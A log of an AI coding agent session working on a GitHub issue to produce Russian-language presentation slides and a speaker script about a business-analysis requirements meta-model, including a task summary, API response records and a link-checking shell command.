hand-made page lookup table, and the validator checked the link's format only.\\n   - Issue #349: the validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\".\\n   - RUN-0064 root cause analysis: 8 errors.\\n   - GigaCode and Cline are absent from that repo.\\n   - Data-quality warning: RUN-0025's token figures duplicate RUN-0015's.\\n\\n   *Verified facts: research/ba-requirements (identical on main and issue-639; use main URLs)*\\n   - 56-run snapshot (2026-04-10\u202608-25): 41 hallucinations, 12 shipped.\\n   - Baseline: 2 of 32 runs with a verdict accepted without edits = 6% (`methodology-unification/40-practice-and-cases.md` line 49).\\n   - RUN-0018: an 8-step prompt with self-checks, 8 hallucinations, 1 shipped. Quote: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n   - 860 KB sections of 5 products fit the 14 slots with no new slot (`2026-09-08-kb-slot-fit-facts.md`).\\n   - Jaccard 0.077, 24 prompts over 13 capabilities (`2026-09-08-meta-model-inputs-facts.md`).\\n   - 10 of 12 constructs absent from all prompts (`2026-09-09-legacy-normative-influence-facts.md`).\\n   - Linear pipeline 0/32 vs layered 32/32.\\n\\n   *Verified facts: meta-model and forensics*\\n   - Mango product taxonomy: 8 domains, 42 capabilities. The telecom taxonomy has 42 mappings to 3 frameworks.\\n   - 31 operations in 5 cognitive classes, each with its default control (`operation-taxonomy/10-theory.md` \u00a73):\\n\\n     | Class | Control |\\n     |---|---|\\n     | extract | G6 source check |\\n     | transform | G2 schema |\\n     | generate | G6/G5 |\\n     | check | G2 + G6 |\\n     | assess | G1 + G5 |\\n\\n   - 33 skills. Golden set: 2 positive and 4 negative contact-center cases in the dist package.\\n   - Projections V-BIZ, V-APPROVE, V-DEV, V-CONTRACT exist as a vocabulary and disclosure rules (`taxonomy/projections.yaml`, `templates/bcreq-skeleton.md`). Automatic output of each projection is not measured.\\n   - \u0413-16: Release is byte-reproducible.\\n   - \u0413-17: the checksum proves a quote is unchanged, not that it is authentic.\\n   - Exact forensics quote: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u2026 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\u00bb\\n   - Forensics facts: RUN-0059 left a gap instead of inventing Mango endpoints; RUN-0060 gave 101 requirements source anchors.\\n\\n   *Verified facts: runtime options*\\n   - Refutation threshold for Recommendation 1 (runner on the workstation): after 10 tasks, fewer than 95% of steps have a verified node contract, or the BA spends more time on commands than on content.\\n   - Recommendation 2 is Environment 4: the same runner core as a service, Mango AI via an OpenAI-compatible API, FastAPI, Postgres, own state machine.\\n   - Cited practice: Anthropic \\\"Building effective agents\\\" and 12-factor agents, factor 8 \\\"Own your control flow\\\".\\n   - Backlog items (all TODO):\\n     - B-211: edge predicates read from YAML.\\n     - B-212: per-node output contract and an honest metric.\\n     - B-213: wait and resume.\\n     - B-214: EP-R7.\\n     - B-215: assign the route executor in the meta-model.\\n     - B-216: one runner core, depends on B-211\u2013213.\\n     - B-217: GigaCode CLI checks.\\n     - B-218: Environment 4 RFC, depends on B-216.\\n   - ADR paths:\\n     - root: `docs/adr/2026-09-adr-013-run-modes-deprecation.md`, `docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md`\\n     - project: `projects/ba-ai-process/decisions/2026-09-adr-017-...`, `projects/ba-ai-process/docs/adr/2026-09-adr-018-...` and `2026-09-adr-019-...`\\n\\n3. **Files and Code Sections**\\n\\n   **Created:** `/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md` (Doc 1, complete draft)\\n   - Frontmatter:\\n     - status draft, version 0.1, updated 2026-09-29, temperature 0.3, type presentation, scope mango-only\\n     - source: issue 646\\n     - based_on: the ba-meta-model tree\\n     - related_artifacts: the speaker-script URL, runtime-options, forensics, mango_ba_prompts\\n     - related_issues: issue 646\\n   - Intro sections:\\n     - \\\"\u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\\": Assertion-Evidence, one slide one idea, every number checkable, status not inflated, a through-line metaphor.\\n     - Mapping table from the issue's blocks to slides.\\n     - Common image STYLE suffix, prompts in English, `--ar 16:9 --style raw` or DALL-E 1792\u00d71024, no text in images.\\n   - Slides:\\n     1. Title: \u00ab\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u2026\u00bb\\n     2. Scope: 42 capabilities in 8 domains.\\n     3. Pain: M-1=0.0, 50/67 runs without input, RUN-0015 invented NFRs, RUN-0063, 6% baseline.\\n     4. Evolution: Apr\u2013Jun, Aug, Sep, Conclusion; exact forensics quote with [\u2026].\\n     5. Meta-model: formula and MM-1\u2026MM-4.\\n     6. Breakthrough: 5-class table, RUN-0018 quote, RUN-0059.\\n     7. Pipeline: 5 steps plus a readiness table (projections: \\\"\u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430\\\").\\n     8. Runtime: the orchestrator gap, lorem ipsum passing n1\u2013n3, the vector to Environment 4.\\n     9. Scaling: 860 sections into 14 slots, M-1\u2026M-4, decision threshold.\\n     10. \u00ab\u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\u00bb:\\n        - step 1: B-211\u2026B-213\\n        - step 2: 10 tasks, 95% threshold\\n        - step 3: Environment 4 via B-216/B-218; needs Mango AI API access and a platform\\n        - not doing: n8n/Dify/Flowise core\\n        - quote: \u00ab\u0417\u0430\u043f\u0440\u043e\u0441: \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\u00bb\\n   - Appendix: evidence map table.\\n   - Every slide has a \\\"\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\\\" `text` block and \\\"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\\" with absolute URLs.\\n\\n   **Not yet created:** `projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md` (Doc 2). The slides frontmatter already links it at `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md`.\\n\\n   **Research notes:** /tmp/research-notes/mango_ba_prompts.md and /tmp/research-notes/ba-requirements.md.\\n\\n4. **Errors and fixes**\\n   - Wrong claim, \\\"42 capabilities mapped to 42 IT/telecom analogues\\\": changed to \\\"42 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0441 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438\\\".\\n   - Paraphrased forensics quote: replaced with the exact text, elided with [\u2026].\\n   - \\\"24 prompts on 13 \u0437\u0430\u0434\u0430\u0447\\\": corrected to 13 capabilities in the source link context.\\n   - Timeline error, \\\"\u0410\u0432\u0433\u0443\u0441\u0442: 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\\": fixed to Apr\u2013Jun, then Aug with 56 runs, then Sep forensics of 67.\\n   - Wrong ADR-013 filename: corrected to `2026-09-adr-013-run-modes-deprecation.md`.\\n   - Slide 10 wrongly tied the 95% criterion to Environment 4: rewritten to attach it to the workstation runner pilot.\\n   - Slide 10 image implied steps already done: now shows only the first switch being turned on.\\n\\n5. **Problem Solving**\\n   - Research is complete and Doc 1 is complete and fact-checked.\\n   - Honesty is maintained throughout: readiness statuses are stated, and projections are marked \\\"not measured\\\".\\n\\n6. **All user messages**\\n   - Only the original issue-solver prompt: solve issue #646 on the prepared branch `issue-646-497e337ac092` with prepared PR #648, \\\"Proceed.\\\"\\n   - There has been no other user feedback. System notes asked for periodic short status updates.\\n\\n7. **Pending Tasks**\\n   - Write Doc 2, the speaker script, in Russian:\\n     - Frontmatter in the same style: type presentation or speaker-script, related link back to the slides.\\n     - Sections \u0421\u043b\u0430\u0439\u0434 1\u202610 synced with Doc 1, each with \\\"why\\\"/\\\"how\\\", key phrases, a bridge to the next slide and timing.\\n     - Emphasis on the 60+/69 runs and the evolution.\\n     - Q&A block for a technical leader. Likely questions:\\n       - Why not a better model? (A/B 43.1% vs 0%, but the cause was the validator.)\\n       - Why not n8n or Dify?\\n       - Determinism vs an LLM.\\n       - Security and the perimeter.\\n       - How quality is measured (M-1\u2026M-5).\\n       - Cost and time.\\n       - What if the hypothesis is refuted (95% threshold).\\n       - Does the checksum prove authenticity? (\u0413-17: no.)\\n       - Scaling to other products.\\n       - Relation to BABOK and ISO 29148.\\n     - All links as absolute URLs.\\n   - Update `projects/ba-ai-process/README.md` with links to both documents; consider CHANGELOG.md and `ops/artifact-map.md`.\\n   - Remove `.gitkeep` from the initial commit.\\n   - Run all validators and fix any issues.\\n   - Commit and push to `issue-646-497e337ac092`.\\n   - Merge main if needed (origin/main was at ecb1d94, same as the branch base).\\n   - Update the PR #648 title and body with `gh pr edit`: solution, files, gaps, strategic risk, backlog proposals; no reproduction or test section for docs.\\n   - Check CI and the latest issue and PR comments, then run `gh pr ready 648`.\\n\\n8. **Current Work**\\n   The last edit finalized slide 10 of Doc 1. Its headline was changed to \u00ab## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\u00bb. Its image prompt now reads: \\\"Three switches in a row on a clean control panel, each paired with a small measuring gauge; a hand is turning on the first one, the other two are still off; behind the panel a calm, dimly lit server room is waiting to power up.\\\" Doc 1 is complete.\\n\\n9. **Optional Next Step**\\n   Write Doc 2, the speaker script, at `/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md`. It must follow slides 1\u201310 and include bridges, the empirical emphasis and a technical-leader Q&A. Then update the README, remove `.gitkeep`, run the validators, commit and push, update PR #648, and mark it ready. The issue requires: \\\"\u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2 (\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430), \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0441 \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c 1.\\\"\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. 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modified=0\",\n[2026-09-29T07:54:39.736Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:54:39.741Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:39.744Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:39.751Z] [STDOUT]   \"cf-ray\": \"a4296bc29b0f5d90-FRA\",\n[2026-09-29T07:54:39.754Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:54:39.757Z] [STDOUT] [log_4b1a47] response parsed {\n[2026-09-29T07:54:39.760Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:39.763Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:39.768Z] [STDOUT]   body: X {\n[2026-09-29T07:54:39.772Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:54:39.774Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:54:39.778Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:54:39.780Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:54:39.783Z] [STDOUT]     },\n[2026-09-29T07:54:39.785Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:54:39.788Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:54:39.790Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:54:39.795Z] [STDOUT]   },\n[2026-09-29T07:54:39.798Z] [STDOUT]   durationMs: 1110,\n[2026-09-29T07:54:39.805Z] [STDOUT] }\n[2026-09-29T07:54:39.811Z] [INFO] {\n[2026-09-29T07:54:39.811Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:39.811Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:39.811Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:54:39.811Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:39.811Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:39.811Z] [INFO]   \"uuid\": \"f800f524-a895-4288-9742-c774dfa3c727\"\n[2026-09-29T07:54:39.811Z] [INFO] }\n[2026-09-29T07:54:41.079Z] [INFO] {\n[2026-09-29T07:54:41.079Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:41.079Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:41.079Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:54:41.079Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:41.079Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.079Z] [INFO]   \"uuid\": \"4da83487-1f14-40f9-997f-60bbb0c5252f\"\n[2026-09-29T07:54:41.079Z] [INFO] }\n[2026-09-29T07:54:41.895Z] [INFO] {\n[2026-09-29T07:54:41.895Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:41.895Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:41.895Z] [INFO]   \"estimated_tokens\": 292,\n[2026-09-29T07:54:41.895Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:41.895Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.895Z] [INFO]   \"uuid\": \"9023b50d-c661-4861-a22f-cd829884c0e2\"\n[2026-09-29T07:54:41.895Z] [INFO] }\n[2026-09-29T07:54:41.903Z] [INFO] {\n[2026-09-29T07:54:41.903Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"message\": {\n[2026-09-29T07:54:41.903Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"id\": \"msg_011CfXNTY6gRWpxavP5rrfR1\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"content\": [\n[2026-09-29T07:54:41.903Z] [INFO]       {\n[2026-09-29T07:54:41.903Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:54:41.903Z] [INFO]     ],\n[2026-09-29T07:54:41.903Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:41.903Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_creation_input_tokens\": 18555,\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:41.903Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:41.903Z] [INFO]         \"ephemeral_1h_input_tokens\": 18555\n[2026-09-29T07:54:41.903Z] [INFO]       },\n[2026-09-29T07:54:41.903Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:54:41.903Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:41.903Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:41.903Z] [INFO]     },\n[2026-09-29T07:54:41.903Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:54:41.903Z] [INFO]       {\n[2026-09-29T07:54:41.903Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:54:41.903Z] [INFO]       }\n[2026-09-29T07:54:41.903Z] [INFO]     ],\n[2026-09-29T07:54:41.903Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:54:41.903Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"cache_missed_input_tokens\": 19215\n[2026-09-29T07:54:41.903Z] [INFO]       }\n[2026-09-29T07:54:41.903Z] [INFO]     },\n[2026-09-29T07:54:41.903Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:41.903Z] [INFO]   },\n[2026-09-29T07:54:41.903Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:41.903Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"uuid\": \"987ca348-9982-4194-97a7-517ea2ac8ae3\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:41.894Z\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"request_id\": \"req_011CfXNTXbup7xhSFAKTxnmH\"\n[2026-09-29T07:54:41.903Z] [INFO] }\n[2026-09-29T07:54:41.913Z] [INFO] {\n[2026-09-29T07:54:41.913Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"message\": {\n[2026-09-29T07:54:41.913Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"id\": \"msg_011CfXNTY6gRWpxavP5rrfR1\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"content\": [\n[2026-09-29T07:54:41.913Z] [INFO]       {\n[2026-09-29T07:54:41.913Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"text\": \"The script was drafted partly from memory, so I'll check every fact and path against the repo and the fact-checked slides.\"\n[2026-09-29T07:54:41.913Z] [INFO]       }\n[2026-09-29T07:54:41.913Z] [INFO]     ],\n[2026-09-29T07:54:41.913Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:41.913Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_creation_input_tokens\": 18555,\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:41.913Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:41.913Z] [INFO]         \"ephemeral_1h_input_tokens\": 18555\n[2026-09-29T07:54:41.913Z] [INFO]       },\n[2026-09-29T07:54:41.913Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:54:41.913Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:41.913Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:41.913Z] [INFO]     },\n[2026-09-29T07:54:41.913Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:54:41.913Z] [INFO]       {\n[2026-09-29T07:54:41.913Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:54:41.913Z] [INFO]       }\n[2026-09-29T07:54:41.913Z] [INFO]     ],\n[2026-09-29T07:54:41.913Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:54:41.913Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"cache_missed_input_tokens\": 19215\n[2026-09-29T07:54:41.913Z] [INFO]       }\n[2026-09-29T07:54:41.913Z] [INFO]     },\n[2026-09-29T07:54:41.913Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:41.913Z] [INFO]   },\n[2026-09-29T07:54:41.913Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:41.913Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"uuid\": \"b64996f0-5e54-44fb-b12c-5535bc543f27\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:41.898Z\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"request_id\": \"req_011CfXNTXbup7xhSFAKTxnmH\"\n[2026-09-29T07:54:41.913Z] [INFO] }\n[2026-09-29T07:54:44.094Z] [INFO] {\n[2026-09-29T07:54:44.094Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"message\": {\n[2026-09-29T07:54:44.094Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"id\": \"msg_011CfXNTY6gRWpxavP5rrfR1\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"content\": [\n[2026-09-29T07:54:44.094Z] [INFO]       {\n[2026-09-29T07:54:44.094Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"id\": \"toolu_019wGzcUskgkdhYFEaarGco9\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"input\": {\n[2026-09-29T07:54:44.094Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n '^## \u0421\u043b\u0430\u0439\u0434' projects/ba-ai-process/docs/presentation/*.md; echo ---; grep -oh 'https://github.com/G-Ivan-A/hybrid-Intelligence-lab/[a-z]*/main/[^) \\\">]*' projects/ba-ai-process/docs/presentation/*speaker*.md | sort -u | while read u; do p=${u#*/main/}; p=${p%%#*}; [ -e \\\"$p\\\" ] && echo \\\"OK $p\\\" || echo \\\"MISSING $p\\\"; done\",\n[2026-09-29T07:54:44.094Z] [INFO]           \"description\": \"List slide headings and check link targets exist\"\n[2026-09-29T07:54:44.094Z] [INFO]         },\n[2026-09-29T07:54:44.094Z] [INFO]         \"caller\": {\n[2026-09-29T07:54:44.094Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:54:44.094Z] [INFO]         }\n[2026-09-29T07:54:44.094Z] [INFO]       }\n[2026-09-29T07:54:44.094Z] [INFO]     ],\n[2026-09-29T07:54:44.094Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:44.094Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_creation_input_tokens\": 18555,\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:44.094Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:44.094Z] [INFO]         \"ephemeral_1h_input_tokens\": 18555\n[2026-09-29T07:54:44.094Z] [INFO]       },\n[2026-09-29T07:54:44.094Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:54:44.094Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:44.094Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:44.094Z] [INFO]     },\n[2026-09-29T07:54:44.094Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:54:44.094Z] [INFO]       {\n[2026-09-29T07:54:44.094Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:54:44.094Z] [INFO]       }\n[2026-09-29T07:54:44.094Z] [INFO]     ],\n[2026-09-29T07:54:44.094Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_miss_reason\": 